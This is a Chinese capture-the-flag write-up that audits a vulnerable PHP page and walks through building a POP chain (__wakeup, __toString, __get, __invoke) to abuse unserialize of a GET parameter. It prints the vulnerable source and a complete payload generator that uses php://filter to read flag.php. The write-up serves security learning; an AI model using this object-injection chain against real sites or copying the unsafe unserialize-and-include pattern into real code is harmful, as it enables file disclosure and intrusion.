打开靶机,直接给我们源码,代码审计,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
class Modifier {
protected $var;
public function append($value){
include($value); // 危险操作:任意文件包含
}
public function __invoke(){ //__invoke():当对象被当作函数调用时自动触发
$this->append($this->var); // 触发文件包含
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){//$file='index.php' 这个语法意味着,如果构造函数没有收到参数,$file 将默认被设置为 'index.php'
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){ //__toString():对象被当作字符串使用时触发
return $this->str->source;
}

public function __wakeup(){ //__wakeup():反序列化时自动触发
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { //过滤敏感关键词
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){//__get():访问不存在或不可访问属性时触发
$function = $this->p;
return $function();
}
}
//如果我们get方法传入一个pop函数,并且用isset函数检查变量是否被设置,是不是值为null,如果存在且不为null,则反序列化我们传入的pop参数
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

1.触发Modifier::__invoke()(将对象当作函数调用时自动触发)来调用append($this->var)
2.但__invoke()需要将Modifier对象作为函数调用。如何触发?
Test::__get($key)中,有一行:$function = $this->p; return $function();
如果$this->p是一个Modifier对象,那么$function()就会触发__invoke()
3.如何触发Test::__get($key)
当访问一个不可访问属性(如未定义或不可见)时,__get()会被调用。
Show::__toString()中,有一行:return $this->str->source;
如果$this->str是一个Test对象,且Test对象没有source属性,那么访问$this->str->source就会触发Test::__get('source')
4.如何触发Show::__toString()?
Show::__wakeup()中,有preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)。如果$this->source是一个Show对象(而不是字符串),那么preg_match会试图将对象转换为字符串,从而触发__toString()

构造pop链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";

}
class Show{
public $source;
public $str;

}
class Test{
public $p;

}


$modifier = new Modifier();
// 需要包含的文件

$test = new Test();
$test->p = $modifier; // 使得Test::__get()中$function()触发Modifier::__invoke

$show2 = new Show();
$show2->str = $test; // 使得Show::__toString()中访问$test->source触发Test::__get

$show1 = new Show();
$show1->source = $show2; // 使得Show::__wakeup()中preg_match触发__toString

// 序列化$show1
$payload = serialize($show1);
echo urlencode($payload); // 作为pop参数传递
?>



base64解码,

获得flag